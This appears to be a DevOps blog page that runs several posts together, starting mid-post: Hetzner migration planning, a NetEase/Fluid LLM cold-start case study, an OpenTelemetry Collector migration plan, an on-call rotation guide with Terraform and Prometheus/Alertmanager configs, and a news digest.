For PostgreSQL, do not stop at "backup job succeeded." Restore it:

pg_dump --format=custom --file=prod.dump "$DATABASE_URL"
createdb restore_test
pg_restore --dbname=restore_test --clean --if-exists prod.dump
psql restore_test -c "select count(*) from users;"

For object storage, test reads from the restored copy:

aws s3 sync s3://current-bucket ./restore-check \
  --endpoint-url "$CURRENT_S3_ENDPOINT"

find ./restore-check -type f | head

Phase 3: Lower DNS TTLs early

Set lower TTLs before the cutover window:

api.example.com. 300 IN A 203.0.113.10

Do this before you need it. A five-minute TTL does not help if resolvers cached yesterday's one-day TTL.

Phase 4: Move stateless services before databases

Move app instances first when possible. Keep the database in place, connect across providers temporarily, and measure latency. That gives you a safer rollback path than moving compute and data at the same time.

Phase 5: Move state last

Only move databases after you have:

• A recent restore test
• A write-freeze or replication plan
• A rollback point
• Application-level health checks
• A clear error-budget agreement

When Staying Is the Right Call

Staying with Hetzner may still be the best answer.

Stay if:

• Your existing contracts are not affected and the workload is stable.
• The workload uses dedicated hardware efficiently.
• Migration risk is higher than likely savings.
• You depend on Hetzner-specific networking, locations, or workflows.
• Your team does not have time to validate another provider properly.

FinOps is not "move providers whenever prices change." It is knowing which assumptions changed and which ones did not.

What to Watch on June 15

When Hetzner publishes the final prices, check:

• Cloud plan prices by region
• Dedicated server monthly prices under the new -1, -2, -3, and -1-Ltd structure
• Setup fee reductions versus monthly increases
• Rescale behavior for existing cloud servers
• Whether limited products affect capacity planning
• Differences between Germany, Finland, Singapore, and US locations

Then update the exposure report with real numbers.

Bottom Line

Hetzner's latest announcement is not automatically a migration trigger. It is a planning trigger.

If your fleet is stable, you may only need to document terms and wait for the final price table. If your workloads resize often, run close to margin, or depend on cheap disposable capacity, model the impact now.

The practical response is simple: know what is exposed, prove your backups, test one fallback path, and avoid making a rushed provider decision on June 15.

The interesting thing about the case study isn't the headline 84x speedup. It's the staircase. They publish four numbers, each a different architecture, each a meaningful intermediate stop. The path looks like this:

Cross-region direct access from S3-like storage    : 42 minutes
Traditional cache layer (raw Alluxio)              : 14 minutes
Fluid-based prefetching                            :  3 minutes
Production-tuned Fluid with proactive warmup       : 30 seconds (sometimes under)

Each step is a different bet about where the bottleneck actually is. This post walks through the bets, why they paid off, and what patterns transfer to your stack if you are not running NetEase's exact architecture.

TL;DR

• A modern LLM serving pod has to pull tens of GB of model weights before it can answer a single request. That pull is the cold-start. The GPU is sitting idle the whole time.
• Direct pulls from object storage across a region are bandwidth-and-latency bound. 42 minutes is what you get if you assume cloud-native means "let the storage layer handle it."
• A naive Alluxio cache in front of the storage cuts 3x. A naive cache is not enough.
• Fluid is a CNCF project (incubating) that wraps Alluxio (or JindoCache, or JuiceFS) with a dataset CRD, scheduled prefetch workflows, and CSI/sidecar injection. The wrapper is the value, not the cache.
• The last 10x came from proactive warmup, treating the dataset as a workload to schedule rather than a side concern.
• You can apply most of this pattern without Fluid if you are not on Kubernetes. The principles are: place the cache on the inference node, warm the cache before the pod starts, and treat model weights as a first-class artifact, not a runtime dependency.

Prerequisites

• A workload where cold-start matters. Production inference, autoscaling LLM endpoints, serverless GPU jobs.
• Models in the 10-100GB range. The numbers below scale linearly with weight size.
• Familiarity with Kubernetes manifests and PV/PVC if you want to apply Fluid directly. The principles section at the end is K8s-agnostic.

Why the cold start is 42 minutes in the first place

A serverless LLM endpoint goes through this on every scale-up:

1. Scheduler places a pod on a node with a free GPU.
2. Container image pulls (a few GB if you're disciplined, 20+ GB if you've bundled CUDA libraries badly).
3. The container starts, the runtime initializes, and the model loading code tries to open the weights.
4. The weights are not on the local disk. They are in S3, GCS, or an internal object store, maybe in a different region from the GPU node.
5. The model loader streams 30-60 GB across that network link, decodes the shards, and copies them into GPU memory.
6. First request can finally be served.

The cross-region throughput on cloud object storage is realistically 200-400 MB/s sustained from a single client. A 60 GB model at 300 MB/s is 3.5 minutes if everything goes perfectly. In practice, you also get retries, redirect overhead, multi-shard sequential reads, and the model loader doing extra work (verifying checksums, building a tokenizer's vocab, allocating GPU memory in chunks). 42 minutes is the realistic worst case when the model is on the other side of a continent and nobody has thought about warming a cache.

Bet 1: put a cache layer in front of object storage

Step one is the textbook fix. Put Alluxio (or any distributed cache) in front of your object store. The first pod that wants a model pulls it once, subsequent pods on the cluster get it from the local cache cluster instead of crossing the region.

NetEase measured this at 14 minutes. Still painful, but 3x better. The reason a raw Alluxio cluster doesn't get you all the way to 30 seconds is the cache doesn't know which models to warm. If the first cold-start of the day is what triggers the cache fill, the first user still waits 42 minutes. Every subsequent pod for the same model is fast, but the moment you autoscale to a new model variant or your fleet horizontally scales, you're back at step one.

The conclusion the team arrived at is the same conclusion every serious LLM inference platform reaches: caches that are passive are not good enough. You have to know what you're going to need and start moving it ahead of time.

Bet 2: Fluid as the dataset CRD on top of the cache

Fluid is a CNCF incubating project that does something subtle. It treats datasets as Kubernetes-native objects. You declare a Dataset and a Runtime resource, and Fluid orchestrates the cache layer, scheduling, and pod-to-cache binding for you.

A minimal Fluid setup looks like this:

apiVersion: data.fluid.io/v1alpha1
kind: Dataset
metadata:
  name: llama-3-70b
spec:
  mounts:
    - mountPoint: s3://models.example/llama-3-70b/
      name: weights
  accessModes:
    - ReadOnlyMany
---
apiVersion: data.fluid.io/v1alpha1
kind: AlluxioRuntime
metadata:
  name: llama-3-70b
spec:
  replicas: 3                   # how many cache workers
  tieredstore:
    levels:
      - mediumtype: SSD
        path: /mnt/cache
        quota: 200Gi

Two YAMLs and Fluid spins up a cache cluster on the nodes you specify, mounts the S3 bucket behind it, and exposes a PVC your inference pods can mount as if the weights were already on the local disk. The CSI driver Fluid registers handles the "make this look like a local mount" part.

Where Fluid earns its 14-minute-to-3-minute win is the prefetch workflow. You can declare a DataLoad resource that says "warm this dataset into the cache on a schedule" or "warm it whenever a webhook fires". When a new pod requests the weights, the data is already in the local cache cluster, not still being pulled from S3.

apiVersion: data.fluid.io/v1alpha1
kind: DataLoad
metadata:
  name: warm-llama
spec:
  dataset:
    name: llama-3-70b
    namespace: inference
  loadMetadata: true
  target:
    - path: /
      replicas: 3

The 3-minute number is what you get with Fluid orchestrating a warm cache but the pod still doing the actual weight read at startup. The cache is on the same network as the GPU, but the bytes still have to traverse the host network and load into the model loader process.

Bet 3: proactive warmup, treating data as a workload

The last 10x is the one that takes engineering judgment. The NetEase post highlights three capabilities Fluid provides for this stage:

• Scheduled, event-driven, and proactive warmup. The cache fills before any pod requests it. The warmup itself runs as a workload, with its own resource requests and priority.
• CSI- and Sidecar-based access patterns. Critical for letting an inference pod consume a dataset that lives in a different namespace, without copying or duplicating the data.
• Cross-namespace dataset sharing with logical isolation. One team's Dataset resource can be referenced by another team's pods, but with the access controls staying intact.

The pattern that gets you to 30 seconds (or under) is to treat model warmup as a deployment concern, not a runtime concern:

1. When you publish a new model version, you also schedule a DataLoad that warms it across the inference cluster's cache nodes.
2. The warmup completes before any pod requesting that model is scheduled.
3. The Kubernetes scheduler co-locates the inference pod with a cache node that has the weights resident.
4. The pod's only cold-path is the local-disk read + GPU memory copy, which on modern NVMe + PCIe is a few seconds for tens of GB.

The mental shift is from "lazy load on demand" to "the data is already there because we put it there." This is the same shift CDNs went through in the 2010s. The cache fills are not the user's problem.

What the case study doesn't tell you

A few things worth being honest about because the post glosses over them:

• They didn't say what model sizes. "30 seconds" is for some workload they measured. If your model is 7B parameters (~14GB) you'll do better. If it's 405B parameters (~800GB), even Fluid can't make that fit on a single cache node.
• They didn't say what GPU types. PCIe 4 versus PCIe 5 versus the NVLink-attached HBM on modern accelerators changes the "weight-load-into-GPU-memory" portion of the cold path by 3-5x.
• They didn't share the actual Fluid YAML they run in production. The snippets above are minimal-viable shapes from Fluid's docs, not NetEase's actual config. Production setups have priorities, taints, resource quotas, and observability hooks that aren't in the case study.

That's normal for an end-user post; the architectural takeaway is what's portable, not the exact tuning.

How to apply the pattern without Fluid

If you're not on Kubernetes, the principles still transfer:

1. Put the cache on the inference node, not across the network. Local NVMe at 7 GB/s reads beats network-attached storage at 1-2 GB/s by 3-5x.
2. Warm the cache before the pod starts. Tie cache warming to your CI/CD pipeline. When a new model version ships, the deploy step is (a) push weights to object storage AND (b) push a warmup job to every inference region. Both run before any traffic is routed to the new version.
3. Treat model weights as a first-class artifact. They are not configuration. They are not a runtime dependency. They are a build artifact with their own versioning, signing, and distribution path. Sign them with the same tooling you sign container images (cosign + Sigstore both support arbitrary blobs).
4. If you're on serverless GPU (Modal, RunPod, Beam, Lambda Labs, Cerebrium, Replicate), check the warm-pool feature. Every credible serverless GPU vendor in 2026 has a "keep N instances pre-loaded" knob. Pay the holding cost; the cold-start fix isn't worth the engineering time for a workload that hits cold pods a handful of times a day.
5. Measure where your cold start actually goes. A simple kubectl describe pod + kubectl logs --previous for a cold-started inference pod will tell you whether you're 90% on weight load or 90% on image pull. The fix is different for each.

Why this matters beyond LLM inference

The same pattern applies anywhere a workload needs a large blob of data to start. Big data jobs reading TB-scale datasets, video transcoders pulling reference assets, simulation workloads that need GIS data, security tools pulling threat intel snapshots. The cost of "lazy load from object storage" goes up linearly with the size of the blob and the distance to it. The cost of "warm cache, locality-aware scheduling" stays flat.

Fluid is doing for data-intensive workloads what Kubernetes already did for compute: making placement, scheduling, and lifecycle into first-class concerns instead of operational accidents. The graduation path the project is on (incubating today, likely graduating in 2027) is worth tracking if any of your workloads cold-start on more than a few hundred MB of data.

Summary

NetEase Games turned a 42-minute inference cold start into 30 seconds by stopping treating model weights as something to lazy-load from object storage at runtime. The CNCF Fluid project gave them the Kubernetes-native primitives (Dataset, Runtime, DataLoad) to make cache warming a deployment concern instead of a runtime gamble. The principles transfer to any large-blob cold-start problem, with or without Kubernetes.

If your LLM endpoint takes more than a minute to come online, the bottleneck is almost certainly weight loading, and the fix is almost certainly cache + locality + proactive warmup. Spend a sprint measuring where the time actually goes, then borrow whichever piece of this pattern matches your stack.

Sources:

• NetEase Games + Fluid case study (CNCF blog)
• Fluid project on GitHub
• Alluxio docs

If your team has been running OpenTelemetry alongside a vendor-specific agent (Datadog Agent, New Relic Agent, Splunk Universal Forwarder, Dynatrace OneAgent, the AWS X-Ray daemon) because "OTel isn't quite there yet," the calculus changed last week. This post is the practical version: which proprietary agents you can actually retire, which to keep, and the 90-day rollout plan that gets you to a single OTel Collector shipping to whichever backends your team uses.

TL;DR

• CNCF graduation criteria require independent security audit, formal governance review, and proven production adoption. OpenTelemetry cleared all three with the third-largest contributor base in cloud-native.
• All three core signals (traces, metrics, logs) are now production-ready. Profiles is alpha.
• The OTel Collector is the unified shipping layer. You run one collector per host or per cluster, and it fans out to any combination of backends. No more "one agent per vendor".
• Retire candidates: Datadog Agent, New Relic Infrastructure Agent, Splunk Universal Forwarder for logs+metrics, FluentBit/FluentD log-only paths, Prometheus node_exporter scrape pipelines you still own. Each has an OTel equivalent that's production-stable.
• Keep for now: vendor APM auto-instrumentation libraries on languages where OTel's contrib instrumentation hasn't caught up (Ruby on Rails edges, older PHP versions), eBPF profilers that depend on vendor-specific kernel modules.
• 90-day rollout: collector in shadow mode → one signal at a time → kill the proprietary agent → repeat per language runtime.

Prerequisites

• A cluster or fleet where you can deploy a sidecar/DaemonSet without a change-management committee.
• At least one observability vendor account that can ingest OTLP/HTTP or OTLP/gRPC. Every major vendor accepts it now, but verify the endpoint and the auth header before you start a migration.
• Inventory of every agent currently running. ps aux | grep -iE 'datadog|newrelic|splunkd|fluentd|fluent-bit|otelcol' on one production host gets you a starting list.

What graduation actually unlocks

CNCF graduation is more than a vanity badge. To clear the bar, a project needs to pass an independent security audit, hold a formal governance review with the TOC, and demonstrate widespread production adoption. The full criteria are in CNCF's Graduation policy. Projects that have graduated before OTel include Kubernetes, Helm, Prometheus, etcd, and Envoy. The bar is meaningful.

For OpenTelemetry specifically, what changed at graduation is mostly social rather than technical. The bits were already there. Graduation tells your security team, your platform leads, and your CFO that this is a safe project to standardize on. The argument "let's wait until OTel is more mature" is now formally over. If you're still running three agents per host to satisfy three teams' tool preferences, the cost-of-status-quo math just shifted.

The most useful technical surface OTel offers is the Collector. One binary, one config, and it can:

• Receive traces, metrics, and logs over OTLP (or scrape Prometheus, tail log files, pull host metrics, hook into eBPF).
• Process them (sample, batch, redact PII, attach k8s metadata, tail-sample on error).
• Export to anywhere. Datadog, New Relic, Splunk, Honeycomb, Grafana Cloud, Tempo, Mimir, Loki, ClickHouse, S3, whatever.

The "one collector, many backends" architecture is what makes the retire-the-vendor-agents play work. You're not removing your observability, you're removing the layer that locked you to a single ingestion path.

What's actually production-stable

The CNCF announcement explicitly named all three core signals as production-ready:

Traces       : Stable (since 2023)
Metrics      : Stable (since late 2023)
Logs         : Stable
Profiles     : Alpha (just promoted)

The signal-status nuance worth knowing:

• Traces were the first to stabilize and are by far the most mature. The auto-instrumentation libraries for Node.js, Python, Java, and .NET are at parity with the closed-source equivalents from APM vendors for most application frameworks. Go and Rust still benefit from manual instrumentation in some hot paths.
• Metrics are stable but have one foot in the Prometheus world. If your team already runs Prometheus servers, OTel metrics give you a way to ship the same metric to Prometheus AND a SaaS without scraping twice. The OTel-Prometheus interop story is solid.
• Logs stabilized later than traces and metrics. The OTel logging SDKs are production-ready, but the ergonomics on existing structured-logger libraries (log/slog in Go, the Python logging module, Java's Logback) still feel like a wrapper layer. Functional, but if you have a working Fluent Bit pipeline that nobody complains about, the migration ROI is lower than for traces.
• Profiles is alpha and should be treated as such. eBPF-based profilers (Parca, Pyroscope) are still the right choice if continuous profiling is core to your workflow. Revisit in 12 months.

Retire-from-stack candidates, ranked by ROI

These are the proprietary agents where I'd push hardest to replace with the OTel Collector. ROI here is "engineering hours saved per quarter" plus "one-fewer-agent attack surface."

High-confidence: replace

Datadog Agent → OTel Collector + datadog exporter. Datadog accepts OTLP natively now. The OTel Collector's datadogexporter is maintained by Datadog and ships traces/metrics/logs into your existing Datadog org. You keep the dashboards, the SLOs, the monitors. You stop running their proprietary agent on every host. Their docs at https://docs.datadoghq.com/opentelemetry/ walk through it.

New Relic Infrastructure Agent → OTel Collector + otlp exporter. Same shape. New Relic has supported OTLP ingestion for over a year. The cutover is a Collector config + an env var change on your services.

Splunk Universal Forwarder for logs and metrics → OTel Collector + splunk_hec exporter. Splunk Observability is built on OpenTelemetry internally, and Splunk Enterprise accepts HEC over OTLP. If you're still running UF on every host for the "send everything to indexer" pattern, the OTel Collector does it with smaller memory and CPU footprint.

FluentBit / FluentD log-only deployments → OTel Collector with filelog receiver. Slightly more controversial because FluentBit is excellent at what it does and has a smaller binary. The argument is consolidation: if you're already running an OTel Collector for traces and metrics, adding the filelog receiver removes the second daemon. If you're not, FluentBit stays the right call.

Prometheus node_exporter + scrape pipeline you maintain → OTel Collector with hostmetrics receiver. For the case where you're scraping a fleet you control, the hostmetrics receiver gives you the same dimensions (CPU, memory, disk, network, filesystem) with one less moving part. For the case where you scrape arbitrary apps that expose Prometheus endpoints, keep the scrape; the OTel Collector can do that scraping too.

Keep for now

Vendor APM auto-instrumentation libraries on languages where OTel-contrib lags. Ruby on Rails apps that depend on the Datadog dd-trace-rb for AR span enrichment, older PHP 7.x where the OTel PHP SDK is still maturing. The right move is to keep the vendor lib in those services and use the OTel Collector as the egress layer.

eBPF profilers with vendor-specific kernel modules. Pyroscope and Parca have great OTel integration paths. Datadog's continuous profiler uses its own kernel hook. If you depend on the Datadog profiler today, OTel profiles being alpha is not enough to switch.

AWS X-Ray daemon if you're heavily invested in X-Ray as a backend. AWS accepts OTLP, but X-Ray's free tier and ECS Fargate-native integration make the X-Ray daemon a defensible choice for AWS-only shops. For multi-cloud, OTel.

The 90-day rollout plan

The pattern that works is the same in every team I've seen do this without an incident:

Days 1-14: shadow-mode collector. Deploy the OTel Collector as a sidecar (per pod) or DaemonSet (per node) alongside your existing agents. Configure it to receive but not export to your production backend yet. The receiver-only config is two lines:

receivers:
  otlp:
    protocols:
      grpc: { endpoint: 0.0.0.0:4317 }
      http: { endpoint: 0.0.0.0:4318 }
processors:
  batch: {}
exporters:
  debug: {}
service:
  pipelines:
    traces:
      receivers: [otlp]
      processors: [batch]
      exporters: [debug]

Point one canary service at the collector via OTEL_EXPORTER_OTLP_ENDPOINT. Validate the data shape in the debug log. No production impact, no SLO risk.

Days 15-30: fan-out to your real backend. Add your vendor's OTel exporter. Run it as a parallel write path to your existing agent. Diff the dashboards. If traces show up in Datadog through both paths and the counts match within 1%, you have proof.

Days 30-60: kill the agent, one signal at a time. Start with traces (lowest dashboard surface area for most teams). Disable the vendor agent's tracing collection, leave its metrics and logs paths intact. Watch the trace dashboard for a week. If it stays steady, move metrics next, then logs.

Days 60-90: standardize the collector config across the fleet. Pull the per-service collector YAMLs into a shared Helm chart or Terraform module. Bake in the processors you actually need (PII redaction, tail sampling, k8s metadata enrichment). Add a regression test that fails CI if the collector config drifts.

By day 90 the canary service is fully on OTel, you've retired the vendor agent on one service tier, and you have a reusable rollout recipe for the rest of the fleet.

What this doesn't fix

OpenTelemetry graduating doesn't mean observability is solved. Three things it still doesn't address:

• Backend pricing. Switching your shipping layer to OTel doesn't change what Datadog charges per host. You get optionality (you can swap backends later), not immediate cost savings.
• Cardinality explosion. OTel makes it easier than ever to instrument everything. If you add a user_id attribute to every span without sampling, your bill will go through the roof faster than before, just in OTLP format.
• Correlation across signals. OTel defines the formats. The actual cross-signal correlation (trace_id on a log, span_id on a metric exemplar) still depends on instrumentation discipline at each service. Graduation doesn't automatically wire your existing log lines into your traces.

Summary

OpenTelemetry graduating from CNCF on May 21 is the formal signal that the standard-or-not debate is over. All three core signals are production-stable, the project's velocity is second only to Kubernetes, and every major observability backend now accepts OTLP. The realistic action for most teams: deploy the OTel Collector in shadow mode this quarter, validate against your existing pipeline, and retire one proprietary agent per signal over 90 days.

If you only do one thing this week, run ps aux | grep -iE 'datadog|newrelic|splunkd|fluentd' on a production host and count what's still there. That's your retire list. The collector that replaces all of them is one Helm install away.

Sources:

• CNCF announcement: OpenTelemetry graduates
• OpenTelemetry Collector docs
• Datadog OTel ingestion docs

This is how on-call rotations rot. Not from one bad incident, but from a slow leak of trust between engineers and the alerts they answer to. Building an on-call rotation that does not burn people out is a design problem, not a tooling problem. The tooling matters, but only after you decide what should wake a human up and what should not.

TLDR

A good on-call rotation has three pieces: a schedule that is fair and predictable, an escalation policy that catches dropped pages without spamming everyone, and an alert pipeline that only pages humans for things humans can act on right now. Get all three right and on-call becomes tolerable. Get any one wrong and people will quit.

Prerequisites

• An alerting backend like Alertmanager, PagerDuty, Opsgenie, or Grafana OnCall
• Prometheus or another metrics source that fires alerts
• A team of at least four engineers (anything smaller and you are running a hero rotation, which is a separate problem)
• Buy-in from your manager that on-call work is real work, not a side task

Step 1: Design the Schedule Before You Pick the Tool

Most teams jump straight into PagerDuty and start clicking. Stop. Decide the shape of the rotation first.

The three common shapes:

• Weekly rotation: one engineer carries the pager for 7 days. Simple, but brutal if your service is noisy. Good for low-volume rotations.
• Follow-the-sun: hand off every 8 to 12 hours across timezones. Best if you have engineers in at least two regions. Nobody gets paged at 3 AM.
• Split primary/secondary: a primary handles the page, a secondary backs them up if the primary misses it. Adds redundancy without doubling the load.

For most teams between 5 and 15 engineers in one timezone, the right answer is a weekly rotation with a secondary on a separate, offset schedule. Here is what that looks like as Terraform with the PagerDuty provider:

resource "pagerduty_schedule" "primary_oncall" {
  name      = "Platform Primary On-Call"
  time_zone = "Europe/London"

  layer {
    name                         = "Weekly Rotation"
    start                        = "2026-06-01T09:00:00Z"
    rotation_virtual_start       = "2026-06-01T09:00:00Z"
    rotation_turn_length_seconds = 604800  # 7 days
    users = [
      pagerduty_user.alice.id,
      pagerduty_user.bob.id,
      pagerduty_user.carol.id,
      pagerduty_user.dave.id,
      pagerduty_user.eve.id,
    ]
  }
}

resource "pagerduty_schedule" "secondary_oncall" {
  name      = "Platform Secondary On-Call"
  time_zone = "Europe/London"

  layer {
    name                         = "Offset Weekly Rotation"
    start                        = "2026-06-04T09:00:00Z"  # offset 3 days
    rotation_virtual_start       = "2026-06-04T09:00:00Z"
    rotation_turn_length_seconds = 604800
    users = [
      pagerduty_user.alice.id,
      pagerduty_user.bob.id,
      pagerduty_user.carol.id,
      pagerduty_user.dave.id,
      pagerduty_user.eve.id,
    ]
  }
}

The 3-day offset means the same person is never primary and secondary at the same time. It also means everyone gets a clear "I am on" week and a separate "I am the backup" week.

A few rules that prevent rotations from collapsing:

• Publish the schedule at least 8 weeks ahead. People plan weddings, holidays, school pickups. Surprise shifts kill morale faster than the actual pages do.
• Let people swap shifts without asking permission. Build a Slack channel, not a request queue. The only rule should be "find your own replacement before swapping."
• Pay for it, or give time off in lieu. Unpaid on-call is theft. If you cannot pay, give the on-call engineer a half-day off after a busy week.

Step 2: Build an Escalation Policy That Actually Catches Drops

A page that nobody answers is worse than no page at all, because the incident keeps burning while you have a false sense of "someone is on it." Your escalation policy is the safety net.

The classic pattern: primary gets paged, has 5 minutes to acknowledge, then secondary, then a manager or incident commander.

+---------------------+
|  Alert fires        |
+----------+----------+
           |
           v
+----------+----------+        +---------------------+
| Primary on-call     | -----> | ACK within 5 min?   |
+----------+----------+        +----------+----------+
                                          | No
                                          v
                              +-----------+-----------+
                              | Secondary on-call     |
                              +-----------+-----------+
                                          |
                                          | No ACK in 10 min
                                          v
                              +-----------+-----------+
                              | Incident Commander    |
                              | or Engineering Manager|
                              +-----------------------+

Here is the same policy in Terraform:

resource "pagerduty_escalation_policy" "platform" {
  name      = "Platform Escalation"
  num_loops = 2

  rule {
    escalation_delay_in_minutes = 5
    target {
      type = "schedule_reference"
      id   = pagerduty_schedule.primary_oncall.id
    }
  }

  rule {
    escalation_delay_in_minutes = 10
    target {
      type = "schedule_reference"
      id   = pagerduty_schedule.secondary_oncall.id
    }
  }

  rule {
    escalation_delay_in_minutes = 15
    target {
      type = "user_reference"
      id   = pagerduty_user.engineering_manager.id
    }
  }
}

Three things worth calling out:

1. 5 minutes to acknowledge is the sweet spot. Less than that and you escalate before someone has unlocked their phone. More than that and a real outage burns for too long before help arrives.
2. num_loops = 2 means the policy retries. If the manager also misses it, it goes back to the primary. Without this, a sleeping team can drop a page entirely.
3. The manager is a fallback, not the default. If your manager is getting paged regularly, your team is too small or your alerts are too noisy. Probably both.

Step 3: Cut Alert Noise Ruthlessly

This is where most on-call rotations live or die. The right number of pages per week per engineer is roughly 0 to 2, and only one of those should happen outside business hours. If you are above that, you have a noise problem and no escalation policy will save you.

The fix is severity tiers. Not every alert deserves a phone call.

Encode this in your Prometheus alert rules. Example:

groups:
- name: api-availability
  interval: 30s
  rules:
  - alert: APIHighErrorRate
    expr: |
      (
        sum(rate(http_requests_total{job="api",status=~"5.."}[5m]))
        /
        sum(rate(http_requests_total{job="api"}[5m]))
      ) > 0.05
    for: 5m
    labels:
      severity: page
      team: platform
    annotations:
      summary: "API 5xx error rate above 5% for 5 minutes"
      runbook: "https://runbooks.example.com/api-high-error-rate"
      dashboard: "https://grafana.example.com/d/api-overview"

  - alert: DiskSpaceWarning
    expr: |
      (1 - (node_filesystem_avail_bytes{mountpoint="/"} / node_filesystem_size_bytes{mountpoint="/"})) > 0.80
    for: 30m
    labels:
      severity: ticket
      team: platform
    annotations:
      summary: "Disk usage above 80% on {{ $labels.instance }}"
      runbook: "https://runbooks.example.com/disk-space"

Then route on severity in Alertmanager. page goes to PagerDuty, ticket opens a Jira issue, info posts to a Slack channel nobody is required to read:

route:
  receiver: slack-info
  group_by: ['alertname', 'cluster']
  routes:
  - matchers:
    - severity="page"
    receiver: pagerduty-platform
    group_wait: 30s
    group_interval: 5m
    repeat_interval: 4h

  - matchers:
    - severity="ticket"
    receiver: jira-platform
    group_wait: 5m

  - matchers:
    - severity="info"
    receiver: slack-info

receivers:
- name: pagerduty-platform
  pagerduty_configs:
  - service_key: <REDACTED>
    description: '{{ .CommonAnnotations.summary }}'
    details:
      runbook: '{{ .CommonAnnotations.runbook }}'
      dashboard: '{{ .CommonAnnotations.dashboard }}'

- name: jira-platform
  webhook_configs:
  - url: 'https://jira-bot.example.com/create'

- name: slack-info
  slack_configs:
  - api_url: 'https://hooks.slack.com/services/...'
    channel: '#alerts-info'

Two non-negotiable rules for any rule labelled severity: page:

1. It must link to a runbook. Not a wiki home page. A document with the actual commands to run. If you cannot write a runbook, the alert is not actionable enough to page on.
2. It must include a for: clause of at least 2 minutes. This prevents flapping. The disk that fills to 81% for 30 seconds because of a log rotation should not wake you.

Step 4: Review Pages Every Week

The cheapest reliability work you can do is a weekly on-call review. 30 minutes, every Monday, with the off-going engineer talking through every page they got.

A simple template:

On-Call Handover: 2026-05-18 to 2026-05-25
Engineer: Alice

Pages received: 4
  - Mon 02:14  APIHighErrorRate         REAL    fixed by rolling deploy
  - Tue 09:02  DiskSpaceWarning         NOISE   threshold too low, raised to 90%
  - Wed 04:33  PodCrashLoopBackOff      REAL    OOMKilled, increased memory limit
  - Sat 23:48  CertExpiryWarning        NOISE   renewal cron already running, ack window too short

Action items:
  1. Raise DiskSpaceWarning to 90% and move to severity=ticket (Alice, this week)
  2. Increase ack window on CertExpiryWarning from 5m to 30m (Bob, this week)
  3. Document OOM debug runbook (Carol, by next handover)

If an alert shows up as NOISE two weeks in a row, it gets fixed or it gets deleted. No exceptions. This is the single most important habit. Without it, your alert rules accumulate noise the same way a closet accumulates clothes you never wear.

What You Should Do This Week

You probably will not redesign your entire on-call setup tomorrow. Pick one of these and do it before Friday:

1. Pull last month of pages from PagerDuty. Count how many were real vs noise. If the noise ratio is over 30%, your team is being trained to ignore the pager.
2. Add a runbook annotation to your top 5 noisiest alerts. Even a one-paragraph "if you see this, check X and Y" is enough to start.
3. Add a secondary on-call schedule if you do not have one. Even if it is the same five people, the escalation safety net is worth it.
4. Schedule a 30-minute weekly handover meeting. Block it on the calendar as recurring. Make it dead simple to attend, even from a phone in a coffee shop.

On-call will never be fun. But it should not be the reason your best engineers polish their CVs. Treat it like a system that needs maintenance, not a tax you collect from junior engineers, and your retention numbers will thank you.

📌 Handpicked by be4n - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Why Kubernetes policy enforcement happens too late—and what to do about it

Kubernetes has become the backbone of modern cloud-native infrastructure. Its flexibility lets teams move fast, compose complex systems from modular components, and deploy across environments with rel

📅 May 25, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Zero-Downtime migration from ingress NGINX to Envoy Gateway

Teams running Ingress NGINX in production are increasingly evaluating migration paths as Kubernetes networking evolves toward Gateway API. For many organizations, the challenge is not just selecting a

📅 May 25, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Neo Automations: Scheduled Tasks Shipped as Pull Requests

Recurring platform work slips: provider versions fall behind, drift accumulates between checks, and the quarterly audit keeps getting pushed back another month. Pulumi Neo can now run any task on a ca

📅 May 21, 2026 • 📰 Pulumi Blog

🔗 Read more

📄 AI-powered event-driven Amazon EKS AMI updates with GitOps

This post demonstrates an automated solution that combines AI-powered risk analysis with GitOps principles to streamline Amazon EKS AMI updates while maintaining appropriate human oversight through fa

📅 May 20, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 Managing K8s Agent Updates at Scale with Helm and Terraform

Managing an agent on a single Kubernetes cluster is usually straightforward. Managing that same agent across five, ten, or fifty clusters is where things get harder. When you need to roll out an agent

📅 May 20, 2026 • 📰 Kubecost Blog

🔗 Read more

📄 Announcing etcd 3.7.0-beta.0

SIG-Etcd announces the availability of the first beta release of etcd v3.7.0. This new version of the popular distributed database and key Kubernetes component includes the long-requested RangeStream

📅 May 20, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Announcing etcd v3.7.0-beta.0

SIG-Etcd announces the availability of the first beta release of etcd v3.7.0. This new version of the popular distributed database and key Kubernetes component includes the long-requested RangeStream

📅 May 19, 2026 • 📰 etcd Blog

🔗 Read more

📄 Simplify AI infrastructure for AWS Trainium and Elastic Fabric Adapter with Kubernetes Dynamic Resource Allocation

As organizations scale AI workloads in containerized environments, they face the complexity of managing specialized hardware that creates friction between infrastructure teams focused on stability and

📅 May 18, 2026 • 📰 AWS Containers Blog

🔗 Read more

☁️ Cloud Native

📄 OpenTelemetry is a CNCF Graduated Project

Today, the Cloud Native Computing Foundation (CNCF) announced that OpenTelemetry has graduated. Graduation is an important milestone for the project and reflects the strength of the OpenTelemetry comm

📅 May 21, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

📄 Aamchi Mumbai: A KubeCon + CloudNativeCon field guide

Welcome to Mumbai KubeCon + CloudNativeCon India lands in Mumbai on 18-19 June 2026, at the Jio World Convention Centre in BKC. Thousands of cloud native engineers are flying in, many of you for the f

📅 May 21, 2026 • 📰 CNCF Blog

🔗 Read more

📄 Meet Gordon: Docker’s AI Agent For Your Entire Container Workflow

Gordon understands your environment, proposes fixes, and takes action across your entire Docker workflow. Now generally available. Image 1: Gordon in Docker Desktop Why Gordon Exists Developers are mo

📅 May 19, 2026 • 📰 Docker Blog

🔗 Read more

📄 Bitnami image removal from ECR Public

Starting on June 10th, 2026, Bitnami container images will no longer be available on Amazon ECR Public Gallery. If you currently pull Bitnami images directly from ECR Public in your workloads, you nee

📅 May 18, 2026 • 📰 AWS Containers Blog

🔗 Read more

📄 Coding Agent Horror Stories: The Security Crisis Threatening Developer Infrastructure

This is issue 1 of a new series called Coding Agent Horror Stories where we examine critical security failures in the AI coding agent ecosystem and how Docker Sandboxes provide enterprise-grade protec

📅 May 18, 2026 • 📰 Docker Blog

🔗 Read more

🔄 CI/CD

📄 AI Agents in CI/CD Pipelines: Speed vs Control in Modern DevOps

The moment you push your code, deployment fires off on its own. The pipeline kicks in, the tests sail through, and within a few minutes your app is live in production. There is no manual sign-off and

📅 May 22, 2026 • 📰 DevOps.com

🔗 Read more

📄 Introducing Experiment Approvals

Add a safety check before experiment changes reach users.

